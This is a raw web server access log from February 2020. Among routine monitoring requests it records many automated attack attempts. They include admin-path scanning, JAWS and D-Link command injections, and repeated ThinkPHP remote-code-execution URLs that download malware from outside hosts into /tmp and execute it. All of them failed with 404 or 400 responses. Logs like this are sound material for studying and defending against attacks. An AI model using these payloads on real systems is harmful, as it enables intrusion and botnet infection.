125.72.69.122 - - [04/Feb/2020:16:14:51 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:52 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:52 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:52 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:53 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:53 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:53 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:53 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:53 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
125.72.69.122 - - [04/Feb/2020:16:14:54 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [04/Feb/2020:16:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.13 - - [04/Feb/2020:16:16:06 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
49.68.246.198 - - [04/Feb/2020:16:16:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [04/Feb/2020:16:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.34.174.100 - - [04/Feb/2020:16:17:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [04/Feb/2020:16:17:33 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:16:18:10 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:16:19:12 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.166.245 - - [04/Feb/2020:16:22:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.65 - - [04/Feb/2020:16:23:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
188.130.149.65 - - [04/Feb/2020:16:23:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [04/Feb/2020:16:24:31 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.95.111 - - [04/Feb/2020:16:25:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [04/Feb/2020:16:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [04/Feb/2020:16:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.196.130 - - [04/Feb/2020:16:28:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:16:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.106.113.65 - - [04/Feb/2020:16:29:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:16:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.123 - - [04/Feb/2020:16:32:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.250.89 - - [04/Feb/2020:16:36:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.120.250.174 - - [04/Feb/2020:16:38:31 +0100] "GET /pc/SHAREitSubscript\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 320 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:16:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.162.127 - - [04/Feb/2020:16:41:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.87.38 - - [04/Feb/2020:16:41:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.189.87.38 - - [04/Feb/2020:16:41:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.248.167.133 - - [04/Feb/2020:16:45:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.50.94.12 - - [04/Feb/2020:16:45:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.102.75.189 - - [04/Feb/2020:16:46:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:16:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.191.212 - - [04/Feb/2020:16:46:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.196.130 - - [04/Feb/2020:16:50:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
41.155.248.3 - - [04/Feb/2020:16:50:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.195.61 - - [04/Feb/2020:16:50:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.170.31 - - [04/Feb/2020:16:52:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.227.75 - - [04/Feb/2020:16:53:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.172.33 - - [04/Feb/2020:16:54:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.164.83.246 - - [04/Feb/2020:16:55:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:16:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:16:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
164.68.112.178 - - [04/Feb/2020:17:01:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
183.80.0.0 - - [04/Feb/2020:17:01:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.25.91.135 - - [04/Feb/2020:17:03:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.234.125.157 - - [04/Feb/2020:17:05:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.15.213 - - [04/Feb/2020:17:07:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.64 - - [04/Feb/2020:17:11:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
178.93.44.44 - - [04/Feb/2020:17:11:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:17:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.178 - - [04/Feb/2020:17:12:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.240.205.34 - - [04/Feb/2020:17:12:13 +0100] "Gh0st\xad" 501 321 "-" "-"
118.71.247.157 - - [04/Feb/2020:17:12:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.205.109 - - [04/Feb/2020:17:14:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.57 - - [04/Feb/2020:17:16:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.96.185 - - [04/Feb/2020:17:16:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.235.224.2 - - [04/Feb/2020:17:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.235.224.2 - - [04/Feb/2020:17:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:17:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.242.9 - - [04/Feb/2020:17:19:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:17:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:17:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
